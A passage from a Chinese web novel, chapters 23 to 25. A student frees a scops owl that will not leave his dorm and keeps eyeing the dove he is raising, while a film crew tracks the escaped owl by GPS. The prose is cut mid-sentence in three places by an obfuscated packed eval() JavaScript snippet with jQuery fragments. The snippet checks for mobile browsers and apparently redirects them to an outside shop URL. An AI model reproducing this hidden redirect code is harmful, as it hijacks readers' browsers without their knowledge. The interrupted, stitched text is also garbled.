他双手捧着小猫头鹰棍站起身,找卓正阳帮忙,“卓哥,能帮我开一下窗户么?我把他放阳台外面,他会自己飞走的。” “哦哦行啊,”卓正阳站起身,走到窗边拧开把手,把窗户推出一条空隙,“还挺快的。” 曲柚笑了笑,心情不错,“本来就一根绳子困住他了,剪断了就好了。”他把鬼鸮放到窗户外面的阳台上,轻轻松开裹在它身上的毛巾,手轻轻碰了碰它,“去吧,你自由了。” 小猫头鹰扭头一百八十度又仰头看着他,一脸呆萌认真,并不挪脚。 双方僵持三秒过后,曲柚脸上的笑也维持不住了,转为困惑。他收回堵在窗户口的双手,看着小猫头鹰迈着毛茸茸的腿儿,大爪子扒在地上,一摇一晃慢慢走进来,站在宿舍内的窗台上,仰头看他。 曲柚:“……” 卓正阳迟疑地歪头,“小柚,我看这兄弟好像不太想走啊?” “不是,你已经自由了,腿上都没绳子了,可以飞了,去吧。”曲柚又抱着小猫头鹰放到窗户外的窗台上,开始头大。 这玩意儿是国二保护动物,私自饲养都是违法的。但现在已经这么晚了,林业局都下班了,最快也得是明天才能叫林业局来帮忙。 他也不可能把这样一只小型猛禽放在宿舍里过一宿,这里还有其他舍友要住呢。 曲柚几乎是屏息看着窗户外的鬼鸮又一步一步晃回来的。 一人一鸟专注对视。曲柚目光恍惚,内心震撼;鬼鸮目光如炬,嘴里一连串的“咕咕咕咕咕~”不停,脑袋左歪右歪。 “你怎么还赖上了呢?”曲柚有点委屈地小声说。 卓正阳很想笑,但一想这个咕咕叫起来跟唱丧歌似的猫头鹰放屋里一宿,这宿舍的人今晚都别想睡了,他也有点笑不出来。 “是不是饿了啊,给他吃点东西没准就能飞走了。”卓正阳提醒道。 “但我这里没有你能吃的东西啊,只有幼鸟奶粉,你肯定也不喝。”曲柚嘴里对小猫头鹰说着,转身看向宿舍里。 这一看,还真让他看到点什么东西。 不是吧,曲柚内心又好笑又崩溃,他回头看向鬼鸮,这鬼精的鸟果然在盯着屋里某处看。 顺着鬼鸮歪着脖子使劲往里看的视线,曲柚看见他弱小可怜但能吃的胖团子斑鸠,正缩在保温箱的最里面,保持自身存在感的最小化,小黑豆眼看向这边。曲柚甚至能从中看出求救的意味。 曲柚才意识到,自从今天他回宿舍后,他就没有听到一声斑鸠的叫声。原来是感受到了天敌的压制么! 好家伙,他救助的国二盯上了他刚救助没几天的斑鸠。 “不行,那个不能给你吃。”曲柚一脸严肃地对鬼鸮摇摇手指,身体挡住斑鸠所在的方向,拒绝它的目光渴望。 鬼鸮听不懂,鬼鸮往旁边慢悠悠走了两步,继续歪脖子往斑鸠那边看。 盯~.jpg 23. 没事,我自己能应付 023/东山花灯 猫头鹰这种猛禽都是吃鲜肉的,大晚上的曲柚上哪儿给鸟找鲜肉去? 让他献祭那只还没长大的毛团子,又是不可能的——虽然斑鸠在禽类里基本就是被当成食物链最底层的鲜肉团子的。 那好歹是他一针管一针管鸟食拉扯大的,他们在短暂的喂养关系中,建立起了一种微妙的联系。 这种联系让它区别于任何其他一只斑鸠。 卓正阳被小猫头鹰渴望盯食的眼神逗得嘎嘎笑,对一脸无语的漂亮少年挑眉,嘴角挑出一抹坏笑,“你看它眼巴巴的好可怜,要不把里头那只小鸟给他吃了吧?” “然后把斑鸠的笼子给这只小猫头鹰住。”卓正阳饶有介是地点点头,有兴味地观察曲柚的反应,“这样既解决了猫头鹰没食物的问题,又解决了猫头鹰没地方住的问题,可以说是一举两得。” 曲柚下意识顺着室友的话想,点头点到一半,突然怒视了一眼卓哥,“那不行!我答应小猫救那只斑鸠的!不可以给它!” “而且我和同学定好了,把斑鸠养大点,等它有自主生活能力了,就要放它飞走的。”曲柚说起来有点触动,圆润的桃花眼里闪过一丝湿润的光,不待卓正阳仔细看,少年就扭过头,有点别扭地气道:“那是我养大的,我的小鸟,不能随便给别的鸟吃!” “哎哎好,别生气,哥跟你开玩笑的,”卓正阳没漏过小柚子眼里那一闪而过的盈光,他笑嘻嘻地凑上去用力搂住曲柚的肩膀拍了拍,“不就是给鸟找点鲜肉么,等着哥啊,哥给你解决。” 被他安慰的少年没扭头冲他笑,只是侧着头视线别过去,声音有点低落,“我没生气。” 卓正阳心里一凉,心想妈的逗过头了,真给小弟逗难过了。这不得赶紧补救一下,趁他那个护犊子的哥回来之前赶紧找点肉回来? 他赶紧撒手出门,打开手机开始在群里问谁宿舍里在吃火锅,他要去蹭。 没过一会儿,大晚上违规偷渡火锅进宿舍的男大们唰唰回应他几条,“兄弟来,502等你。” 曲柚知道卓哥是和他开玩笑,他也没真的生气,只是突然想到,斑鸠这种傻不愣登的鸟,本来就在自然界的食物链底端,是各大猛禽捕食的对象,捕猎技能好点的野猫也能吃它。 就算那只潦草又胆小的胖团子今晚没有被这只猫头鹰吃掉,说不定以后它也会葬身别的鸟腹。 那种带着希望和祝福相遇后,却知道早晚会到来的分别,给对方带来的大概率不是什么好结局的心情,实在让他高兴不起来。 如果相遇的结局注定不好,是否从一开始就不应该有开始? 曲柚只是,突然想到了他哥,肖承风。 心中有了一个念头后 ,会不自觉地在生活中找到很多外应。 曲柚从没有如此讨厌自己过于活跃的联想能力。他没有太过揪住那个念头,只是看了一眼放任它溜走了。 他知道不应该开始,他不会和他竹马告白,也不会奢望没有好结果的未来的。 不要再提醒他了。 * 桌子上的手机还在正常录像,曲柚微微叹了口气,心想刚才那段到时候得剪掉了。 他像个被别人逗一句就上纲上线的人,玩不起的感觉。 他看着站在窗台上也不飞、也不走,就那么呆在原地伸着脖子看屋里斑鸠的小猫头鹰,转身把手机拿过来对着它拍。 画面里,一只纤细白嫩的手挡住一只歪脖探视的小猫头鹰的视线,被猫头鹰灵活地转动脖子,绕过手的遮拦,从别的方向继续看。 手从上面挡住,鸟头就低下从手下看;手挡住下面,鸟头就抬高,脖子伸长努力探望;遮住左边,脑袋从右边出来;遮住右边,鸟头又从左边冒出来。 非常灵活的脖子和鸟头,手怎么绕都挡不住猫头鹰探究执着的视线。 曲柚被逗得轻笑一声,转动镜头对准缩在保温箱里的小鸟,“这只不肯走的猫头鹰一直盯着的对象,就是这只小斑鸠。合理怀疑它是饿了,但现在这里也没有给成年猫头鹰吃的东西。” “哦,这只斑鸠是我放在宿舍的第一只鸟,不是要养它,我只是把他喂大点,等它有飞行能力和自住捕食能力了,就放它回野外。” “毕竟小鸟,注定是要在野外的天空飞的。人住的屋子太小了,不适合它们。” 男生清澈的声音带着点沙哑,像是被薄雾笼罩的晨间溪涧,凉凉的,带着点让人几欲落泪的忧郁和温柔。 曲柚回身用手机对准鬼鸮,慢慢走过去,继续解说,“这猫头鹰其实学名叫鬼鸮,具体这名字怎么来的不知道,但是他在夜里叫起来的时候,有点像笛子的声音,又有点像笑声,不熟悉这种鸟的人走夜路可能会被吓到。” “我大胆推测,因为它叫声像鬼叫,又是猫头鹰家族的,所以就叫鬼鸮了。” “来,给大家叫一个,让大家听听你叫得有多好听。” 小猫头鹰对着镜头上下晃了晃脑袋,圆圆的眼睛专注地盯着摄像头,十分应景的“咕咕咕咕~”了哼了一小段阴森小调,哼完挺胸站直,似乎对自己的叫声十分骄傲。 曲柚没憋住笑了一声。 他试着伸手落到猫头鹰喙前,猫头鹰探头闻闻,低头用脑袋顶了顶男生的手指。“哎,这家伙很喜欢被人摸头。不过不熟的鸟类不建议直接上手,尤其面对的还是这种嘴巴尖尖的猛禽,可能会被咬出血的。” 视频里的手伸出食指,在小猫头鹰有点平的脑袋顶上轻轻挠了挠,给猫头鹰挠地半眯眼睛,很是享受。 宿舍门传来门把拧动的声音,曲柚知道是舍友回来了,他把手机提前放在窗台侧边,前置摄像头对着猫头鹰的侧身。 他刚放好,身后就传来脚步声,曲柚扭头,看见了和昨天一样背着黑色背包的竹马。 曲柚很正常地笑着打招呼,“哥,你回来啦,先跟你说一下啊,我今天回来路上碰到一只鸟。” 他侧身给肖承风指指窗台上站着的猫头鹰,有点尴尬地笑笑,“本来想着给它解开腿上的绳子就让他飞走的,现在它不知道为什么不走,一直盯着我的斑鸠看。” 曲柚的视线划过肖承风的书桌,上面的电脑和书本都在,说明竹马背着书包出去一天,不是去学习了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189058|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可能又是昨天说的“兼职”,他一直不知道肖承风这兼职到底是干嘛的,之前问竹马也问不出来。 不过今天他什么都没说,也没问。 肖承风顿了一下,对曲柚点点头,“嗯。不敢抓它出去?我来。”男生声音低沉,有点沙哑,说话间还带着淡淡的喘息,说着就往窗边走。 小猫头鹰的反应突然特别大,它后退几步靠着玻璃窗,张起翅膀做出威胁的动作,浑身羽毛几乎炸起来,圆溜溜的瞳孔急速缩成一个小小的黑点! 同事嘴里发出“咕咕咕”的警告声。 曲柚几乎是立刻就听出了这会儿猫头鹰声音里的紧张——和他之前听到的叫声比,之前他认为的“鬼叫”几乎就是猫头鹰在情绪放松时候哼唱的小曲了。 曲柚怔愣了一下,抬手拉住了走过他身边的男生的胳膊,同时紧张地看向小猫头鹰,“等等!先别过去!这会儿过去它可能会应激抓伤你。” 他把肖承风拉到自己身后。 因为紧张,也就错过了男生被他突然拽住后,身体不自然地一顿。 “哥你往后退,我不怕抓它的。刚才我就把他抱出去了,是他不肯飞走,又走回来了。”他挡住猫头鹰看向竹马的视线,让小鸟尽量看着自己。 “乖,不怕啊,那个是我室友,对你没有恶意的,不是想伤害你。”他一边温声对着猫头鹰说话,一边对身后的肖承风说,“哥你帮我兑一针管斑鸠的鸟粮,我喂喂试试。” 肖承风本来在看着挡在自己身前的少年发愣,闻言低低“嗯”了一声,回头去斑鸠的保温箱边配鸟粮。 肖承风的眸子很深,淡淡的没什么波动,他垂着眼,看保温箱里那只鸡崽子甚至在打哆嗦。 男生用针管抽出鸟粮碗里的糊糊状鸟食。 曲柚背对着他没看见,他拿针管的手在微微颤抖。 那是力竭的表征。 肖承风很自然地拿了条毛巾盖在保温箱上,遮住了透明塑料材质里打哆嗦的毛团子。 他走过去把针管递到曲柚手里,自己往后退了几步,“不用我帮忙?” “没事,我自己能应付。”曲柚背对他摆了摆手,回身让他先去洗漱,“你先走吧,我喂他试试,待会儿把他弄外窗外我就关窗户,不让他进来了。” 他瞥见被毛巾遮住的保温箱,眼神微亮,笑着夸竹马,“机智,我刚才怎么没想到用东西挡住斑鸠。” 肖承风面色淡淡,往后退了两步,对他点点头,“那我走了。” “去吧去吧,你留在这儿它只会更害怕。”曲柚回过身嘀咕,满心纳闷,“奇了怪了,怎么看见你反应这么大?” 他自己开了句玩笑,“可能是感觉到你是猛禽了哈哈。” 背对自己的男生身形清瘦,微微躬身,全神贯注应付那只看起来发育不良的猫头鹰,始终没再回头。 肖承风身上有几处地方在一抽一抽地疼。 他眨眨眼,眼睫隐藏的湿汗扎得眼球发涩,慢慢转身一步步走向洗手间。 看起来和往常一样淡定自如,冷静矜持。 但他忘了拿换洗的衣物。 24. 大眼里闪着渴望的智慧之光(捉虫) 024/东山花灯 竹马离开后,小猫头鹰收拢翅膀,扭头用喙理了理背上的羽毛,把自己打理整齐后慢慢恢复平静。 曲柚拿着装了斑鸠口粮的针管怼到猫头鹰嘴边,被小猫头鹰后仰着头躲开,橙黄的眼睛里满是倔强的抗拒。他收回手,把针管放在旁边的桌子上。 斑鸠是吃谷物杂粮的,顶多吃点虫子,猫头鹰却是吃肉食生存的,斑鸠更是直接位列于猫头鹰食谱里。 猛禽怎么可能吃咕咕鸡的粮。 本身也没想过这只鬼鸮会吃斑鸠的粮,他只是想找个借口让竹马走开而已。 不然他就忍不住要再掀人的衣服,看对方身上有没有新伤了。他在强迫自己,掌握好和竹马的距离感,慢慢把竹马和别人一视同仁。 对待普通的朋友,曲柚也不会非要去掀对方不告诉自己的秘密的。 小猫头鹰挺安静的,站在原地也不乱飞,曲柚给它检查了翅膀,确认骨头没什么事,他暂时想不明白这鸟赶走赶不走的原因,索性拿着针管先去把放在保温箱里的斑鸠给喂了。 不知道是不是因为被屋子里食物链上游的猎食者吓到了,小斑鸠在曲柚手里异常乖巧,叼着针管吃食都像偷吃一样,小心翼翼不敢发出什么动静。 喂食中途曲柚扭头看了看鬼鸮,那只小猫头鹰原本在侧着头往墙上看,瞬间回头和曲柚对视,橙黄的眼睛圆溜溜。 曲柚心底被猛禽鸟类的敏锐度惊了一下,随后又被对方智慧的清澈眼神抚平心神。 卫生间传来淅沥的水声,空调机箱在低声运转,形成一种类似白噪音似的背景音。曲柚喂完斑鸠,把鸟放回保温箱锁好又搭上毛巾,盖住斑鸠。 他慢慢靠近猫头鹰。 “咕咕咕咕~”猫头鹰歪了歪头,哼了一串小调。 男生站在猫头鹰旁边,伸手顺着它脊背的羽毛轻轻摸了摸,目光柔软,“笨鸟。该走了,我养不了你。” 下一刻,”咚!” 宿舍门被大力撞开!伴随着一声有气无力的惨叫,“啊……” 卓正阳带着从别的宿舍薅来的鲜牛肉条回来时,刚好碰见齐昊扶着墙走到门口,身形微晃。男生脖子上挂了条银链,穿着件缀了银色细铆钉的黑背心,下身的裤子几乎是绷在腿上的,泛着亮光的细皮带束在他腰间,身材被衣服裹得性感却算不涩情。 “你干嘛去了,掉酒缸里了啊?”卓正阳站在他后面口气不虞,嫌弃得不行。 散乱的黑色发丝遮了点他微红的脸颊,脑袋顶上似乎都在冒酒气,齐昊眯着眼看了看卓正阳,又打量他手里的小塑料袋,末了打了个酒嗝,“你也才回来啊。拿的什么,粉红的,嗝,老鼠崽子?” 卓正阳眉头皱得快能夹死苍蝇了,“搞什么,就算去坐台也不能喝得不要命吧。臭死了。”他手疾眼快一把搂住下一秒就能晃到在地的男生,把人夹在胳膊下拖进宿舍。 只不过推开门的手慢了一步,齐昊无力垂下的脑袋率先撞开了宿舍门。 伴随着醉鬼的低声呻/吟惨叫,才有了刚才的那声响亮的头槌,“咚!” “啊我艹,你大爷……”齐昊双手捂着脑袋气若游丝,眼前发黑,他踉跄着被人塞进靠背椅里。 “草吧,连盒带灰不到五斤,能草算你牛逼。”卓正阳原本有点心虚,大方地把自己大爷贡献出来调侃,伸手呼噜了一把齐昊的脑袋,“骂了我大爷就不能骂我了啊。” 他拎着手里的袋子喜滋滋向窗边看他们呆住的曲柚邀功。 “柚子,你看哥跟你说什么来着,我找回来鲜牛肉条了!”话语里满满的骄傲,“不吹牛逼,这栋宿舍百分之九十都是我哥们儿,想要什么货哥都有渠道给你弄来。” “给那鸟喂喂这个试试!” 曲柚的目光小心在卓正阳和齐昊之间游移了一下,他谢过卓正阳接过塑料袋,里面大概有成人半拳大小的肉条,深粉泛着鲜亮的红,闻了闻味道,确实新鲜。 “谢谢卓哥,这个点了居然能弄到鲜肉。”男生的眼睛亮亮的,随即看向那边弯下腰身捂着脑袋的男生,脸上有点担心,“昊哥没事吧,撞着脑袋了?” “呼……没事,还活着。”齐昊被撞了一下脑袋,过了那阵剧烈的眩晕和胀痛后,神智倒是清醒了一些。 他扭脸看到卫生间门锁着的,里面还有水声,索性扶着椅子过来凑到曲柚这边来,“他拿什么回来了?我还以为是粉耗子?” 虽然喝多了,但不耽误他好奇。 “我上哪儿找粉耗子去啊。”卓正阳无语地翻个白眼,“这儿有只鸟,吃肉的,我出去给它找吃的了。” 座椅是带滑轮的,卓正阳为了打游戏的舒适感,特意在男大宿舍给自己配了个低配版电竞椅。 “什么鸟?”这会儿齐昊扶着椅背慢慢走过来,滑轮在地上静音滚动,距离曲柚一人远的时候,他的视线中突然出现了窗台上那只嘴巴尖得能戳死人的鸟。 静悄悄的,禽类的大眼不知道什么时候锁定在他身上,脑袋猛地冲他一歪,角度垂直九十度,尖锐的骨质喙像把弯钩。 “!!我艹!”齐昊被突如其来的非人感吓得一激灵,松开手往后急退两步,一下失去了支撑。 他自己又站不稳,双手在空中慌乱地捞了两下,被旁边的卓正阳一手握住胳膊,带着他即将歪倒的身体塞回椅子里。 “哎醉鬼就有点自觉行不行,老觉得自己能走两步是吧。”卓正阳口气颇为嫌弃。 “你今天狂了啊。我这不是突然被吓到了吗。”齐昊扶着椅子把手吐气,摸着心口缓缓呼吸平复心率,“冷不丁在宿舍看见猫头鹰,被吓到也正常吧。” 曲柚摸摸鼻子,尴尬笑了一下,“本来是看它腿上被绳子困住了,想给它解开绳子放它走的,结果这家伙站在窗台上怎么都不飞。卓哥说估计是饿了,我们才想着要不给它喂点东西。” 毕竟是他捡回来的,吓到舍友了他有点不好意思。 “啊没事儿,我还没在现实生活中见过猫头鹰呢,你快喂它吧。”齐昊脚撑地往后蹭了蹭,椅子带他往后退到心理安全线以外,从卓正阳和曲柚的身形之间小心看着那只跟机器鸟一样时不时歪头的小猫头鹰。 卓正阳嗤笑一声,“咋了,你怕这么小的鸟啊?” “说不上怕,”齐昊不以为意地耸肩,饮酒后的嘴唇红润得像在散发热意,“只是对嘴尖的鸟有点阴影,小时候被叨过。”他轻松带过。 卓正阳一向不会让别人的话掉到地上,哪怕是胡说八道都能回上一两句。 这会儿却没接话。 曲柚一听,赶紧打开手里的塑料袋,拆了双一次性筷子给小猫头鹰开始喂食,“昊哥不怕啊,我在这里它不动的。我马上送它走!哥你转过身别看了。” “只要不近距离接触就没事。”齐昊看着曲柚,蕴着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189059|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混沌的眸子安静了一会儿。 他很小幅度地摇摇头,“我不怕的,你正常喂就行。” 曲柚夹着鲜红的肉条触碰到猫头鹰的嘴边,猫头鹰先是往后仰头躲了躲,它眨了眨眼。 他低声劝鸟,“吃吧,能吃的,是鲜牛肉。” 劝了两三句,猫头鹰似乎意识到嘴边的东西是食物,迅速一口叨住,仰头张嘴吞了进去。 卓正阳就笑,“这傻鸟,估计以前没吃过牛肉,都不知道这能吃。” 曲柚哑然,“没准还真是。” 用来下火锅的鲜切厚牛肉条,有的肉条切得不太均匀,很大一块,鬼鸮的小嘴一口叼不住。 它抬起一只脚,单脚稳住身形,粗壮锐利的爪子牢牢抓紧大块的牛肉,举在身前,尖锐的喙撕起肉来非常轻松,像吃冰激凌似的一口口吃干净脚上的肉条。 然后抬头看向曲柚,大眼里闪着渴望的智慧之光,“咕,咕。” 肉条,再来。 “好家伙,这啃肉真快啊,”卓正阳惊叹道,看着曲柚一条接一条地把肉递到小猫头鹰嘴边,忍不住抬手“我也想喂喂行么,它不会叨我吧?” “这个哥哥给你喂吃的,不许叨他听见没?不然你就没肉吃了。”曲柚严肃地用筷子点点鬼鸮粘着肉沫的喙,把手里的塑料袋递给卓正阳,“用筷子喂,别用手离他太近,应该没事。” 鬼鸮“咕咕”了两声,渴望的目光跟随者肉袋子转移到了卓正阳手里。 卓正阳喜滋滋喂鸟。 齐昊看鸟撕肉吃的模样,还是忍不住闭眼,控制不住地轻微战栗了一下。 其他俩人都在看鸟,没人注意到他,齐昊暗自松了口气。 下一刻,曲柚就回过身来,很自然地用手扶了一把齐昊的椅子靠背,把坐在上面的男生转了个面,让他面朝书桌。 “昊哥,先喝点水,困的话就趴会儿吧,待会儿我哥洗完澡我叫你。”他给齐昊手边放了一瓶苏打水,对他笑了笑。 他漂亮的面容被温暖的笑意点亮,少年发丝柔软,眼神含笑。 曲柚本人和他的长相给人的感觉差别很大。 过于冷清艳丽相貌带来的距离感,后期会在和这个人相处中,一点点消磨掉。 要是他弟…… 齐昊这会儿说不出来话,心里哽了一下,从善如流趴下,把头埋在手臂上,含混着答应,嗓音带着酒后轻微的鼻音,“好啊。” * 卫生间门打开一条缝,湿热的水汽顺着门缝溢出,有人敲了敲门板,“有人么,帮我拿一下椅子上的换洗衣服?” 曲柚身形一顿,迅速从卓正阳手里接过筷子,夹住最后一条肉牛,一脸委婉地看向卓正阳,“正阳哥,我喂完得赶紧送鸟走,不然他出来看到鸟还在这里会生气的,你帮我哥递一下衣服行么。” “可以是可以,不过他还会生气吗?”卓正阳愣了一下,“说实话我都没见过他除了面无表情以外的表情。” 他没想太多,过去拿了肖承风的衣服给人送到卫生间门口,“大哥,拿来了。” 门缝里伸出一只手接过衣服,递过来一句模糊的“谢了”,就再度关上门。 肖承风站在卫生间门口,垂眸看着手里的衣服,说不清自己心里什么滋味。 他听到曲柚的声音了,虽然很模糊。 曲柚在宿舍里,但曲柚让别人给他拿衣服。 25. 弟弟,你学坏了(捉虫) 025/东山花灯 云川省,金阳市,影视拍摄基地。 某个小网剧拍摄现场忙成一片。天已经黑了,但拍摄现场还是灯火通明。 因为白天某位主演临时有事耽误了开拍时间,导致上午有过半的时间被浪费了。 面对带资进组的迟到主演,导演没说什么,只表示当天定下的拍摄进度不管多晚也要补完,不然后续已经的拍摄进度都会被影响。 好在今天室内戏份居多,拍摄不受外界自然光影响。 一天连轴转下来,场务喊话喊得嗓子都要冒烟了。 眼看着今天最后一场戏快要拍完了,场务主任拧开水瓶灌了口水,翻了翻手边第二天的拍摄计划。 第二天有一场戏是男配和他的灵宠,对战尚未契约到自己本命灵宠的男主的戏份——这是一部修仙玄幻网剧,剧情内容弱智且跌宕起伏,不值一提——场务主任在心底轻巧地给这部网剧贴上弱智标签。 嗯,男配的灵宠是只猫头鹰。 男主的本命灵宠是一只奶茶仓鼠,前期弱小可怜能吃,后期成长起来能帮男主寻宝把妹,还身负空间异能,一张小嘴直通异空间,堪称男主的可升级式无限移动仓库——当然,也全靠做后期特效的那帮人了。 最经典的一个场景是,奶茶仓鼠面对强敌,上一秒小小的鼠球蓦然长开血盆大嘴,把一座灵石矿脉给啃下肚了。 一只仓鼠,一张嘴啃掉了一座山的矿脉? 给主角塞资源的方式,已经变得这么简单粗暴了。 人无语到极点的时候会笑出来,场务主任觉得自己的智商被人按在地上用力摩擦。 这他妈,疑似剧本是编剧喝了假酒的时候用脚写的。 “刘儿!手里东西放下!过来!”场务主任把手下的小刘叫来,“明天下午第一场戏得用鸟,记得去看一眼,喂点东西。” 小刘抬胳膊擦擦脑门的汗,拽掉手上沾满灰尘,已经发黑的线手套,点点头,“知道了哥,就在后面鸟笼里关着的,明天能正常用。我再去看一眼。” 场务主任点点头,“行,辛苦,” 他这个工作负责的工作内容又多又杂,简直像个交通枢纽。 大到准备拍摄场地、协调拍摄进度和维护现场秩序等,小到给工作人员们安排餐饮住宿、组织装卸各种工作器材等,甚至现场的拍摄情况,他们也得每天填日报表,给制片主任汇报拍摄情况。 总的来说,他这个岗位就是大内后勤总管。 剧组里不论大事小事都和他有关。 事关第二天的拍摄演员,哪怕是一只鸟,他也得提前确认,这鸟的状态良好,没出什么意外。 没过多久,小刘就一脸慌张地跑回来了。 场务主任心底咯噔一下,瞬间就没底了,难道天太热,把鸟热死了? 小刘不敢大声说,凑到场务主任耳边低声道,“哥,那个鸟笼子不知道什么时候开了,里面的猫头鹰不见了。” 这还是他们导演不知道从拎回来的,只说从某个野生动物研究机构借来的,拍完后就得还走,其他人也没多问。 除了男配和猫头鹰有搭手戏,导演要求他每天给鸟喂食,提高鸟和他的默契感,其他人顶多一开始的时候图新鲜围着鸟笼看了看,后续也都不往猫头鹰那边去了。 那个鸟笼子就一直放在后面的器材库房里。 场务主任当时一看这猫头鹰就知道不简单,上网一查,鬼鸮,国家二级重点保护野生动物。 这只猫头鹰可以说是完美符合了剧本上的外形要求,都到了这时候了,再找来一只根本不现实。 再说市面上根本就没有卖猫头鹰的,这玩意都是野生的,国家也禁止买卖。 现在直接没了。 场务主任在那个瞬间只觉得脑子一阵发懵,火气瞬间上涌,他低声怒道,“不是让你们把鸟捆好,怎么他妈还能让鸟飞了?” “是捆了,两只腿都捆起来了,因为怕弄掉翅膀毛,就没捆翅膀,”小刘抹了一把脑门急出来的汗,声音都有点发颤,“库房也没监控,不知道鸟什么时候飞出去的。” “哥你别急,我们在鸟腿上装了个定位器,只要飞得不远,估计能找回来。”小刘也没什么底气。 鸟这种带翅膀的东西,而且还不是从小驯养的,只要飞出去,找回的可能性就不大。 场务主任捂了捂心口,“还不快点看看这鸟飞远没?” 小刘掏出手机,打开一个软件递给场务主任看,“刚才看了,目前定位在隔壁市的A大,目前没有地址变化,咱们要去找么?” 他有点拿不准。 场务主任看着手机上那个稳稳定住的小绿点,深呼一口气,转身往摄影棚那边走,“我去问问周导。” 他小心翼翼地汇报了这个事,同时给周导看了定位画面,本以为导演会大发雷霆,谁知对方只是叹了口气,说可以找找试试。 用到鸟的戏份可以先往后调,他给场务这边三天时间,三天找不回来就算了,到时候让后期做特效。 他们找的外包后期,签订的合同里一开始就约定了,按项目打包结算费用,项目未完成期间,剧组这边提出任何意见,后期团队都需要配合。 只是添加一只鸟而已,导演想,这有什么难的。 况且剧组男配和那只猫头鹰毫无默契可言。 导演看到过,每次男配拿着筷子隔着鸟笼喂猫头鹰,猫头鹰总要先炸毛扑腾几次翅膀。 对于之后这只猫头鹰可能不配合拍摄,导演心里也早有预感,不如直接特效。 只是有点可惜,特效到底没有真物来得有真实感。 而且无实物表演会更考验演员的演技。就男配那个一个表情演到底的演技……周导抹了把脸。 啊,导演这么宽容的么?场务心里松了口气,小心问,“周导,不是说那鸟事借野生动物研究所的么?咱给人家弄丢了不用赔偿么?” 周导淡定地摆摆手,“唬你们的,那是从郊区农村的人手里收的,那鸟撞庄稼地的网子上了,我正好路过看见,看样子比较符合剧里那只灵宠的形象,就带回来了。” “……”行吧,这应该也不算违法捕捉? 场务主任这才安心点,原本就是野生的鸟,就算真飞走了,也是回归自然了。 得到导演的同意,场务主任出来后思索了一下,还是叫来小刘,“我跟周导和好说歹说,又是求情,导演同意给你三天时间把鸟找回来。” 场务主任看着小年轻的苦瓜脸,一脸很命苦的样子,拍拍小刘的肩给他打气,“只要找回来,哥请你搓顿烧烤!” “去临市A大打车得三个多小时,不行你今晚就收拾东西出发,在那边的差旅食宿费都给你报销。” 小刘听到这儿眼睛才找回点光彩,“行,哥,我尽量把鸟带回来!” “嗯,提前去买点抓鸟的工具,省的看见了够不着。”把活计外包出去的场务主任心里总算放下了块大石头,从胸口的兜里捞出根烟,叼在自己嘴边,点火吸一口,从肺里缓缓吐出缕缕白烟。 一天天的,闹心。 * 曲柚和卓正阳站在宿舍窗前,和玻璃外站在窗台上的小猫头鹰面面相觑。 小猫头鹰睁着圆圆的眼睛,脑袋扭过去看看外面,又面向宿窗户内侧,不断歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189060|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,仰脸看着二人,嘴中不断发出“咕咕咕”的叫声。 音调幽怨,如泣如诉。 它稍微往前迈了半步,脑袋前伸,鸟喙嗑在玻璃上。 “咚咚。” 又抬头看两人。 卓正阳抓着胸口,一脸恍惚,“为什么感觉自己心好痛,感觉像把孩子赶出家门似的。” “真的不能放它进来么?”他眼含期望看向曲柚。 男生的侧脸看起来冷清又疏离,此刻他漂亮的嘴里吐出冷酷的字眼,“不行,它吃肉,晚上是猫头鹰的猎食时间,你不怕晚上被他叨脸吃掉鼻子么?” 这个一只手捏着鸟翅膀,趁着鸟不注意把它赶出宿舍的冷酷弟弟,转过头来看卓正阳,对他微微一笑,看起来漂亮又可爱,桃花眼里盈着动人的笑意。 “哥要放它进来吃掉你鼻子吗?” “?!!”卓正阳面露惊恐地抬手捂住鼻子! 救命,他分不清曲柚说这话是认真的还是在开玩笑。 卓正阳不敢正面回复,只幽怨地看他,闷声道:“弟弟,你学坏了。你以前不这样的,是谁带坏你了?” 刚洗完澡的肖承风出门就听见这句话。 曲柚对窗外的鬼鸮挥挥手,“你该走了。”然后毫不犹豫地拉上窗帘,眼不见心不乱。 “有么?”曲柚对卓正阳笑了一下,依旧是他的招牌笑脸,“可能吧,大学这么多有意思的人,被影响也很正常。” 卓正阳受不了地扭过头,“我现在不能看你笑,感觉鼻子有点凉凉的。” 他回身推了推趴在桌上没动静的齐昊,“起来了醉酒佬,快去洗澡,我和柚子还等着呢。” 肖承风沉默地爬上床,钻进床帘里。 曲柚站在窗边和室友说笑,没和他对视,也没和他说话。 不对劲,肖承风想,这不对劲。他对曲柚的情绪很敏感,曲柚虽然表面上和他说话接触都正常,但他能感觉到他们之间有了很深的沟壑。 他甚至不知道这种距离感是因为什么出现的。 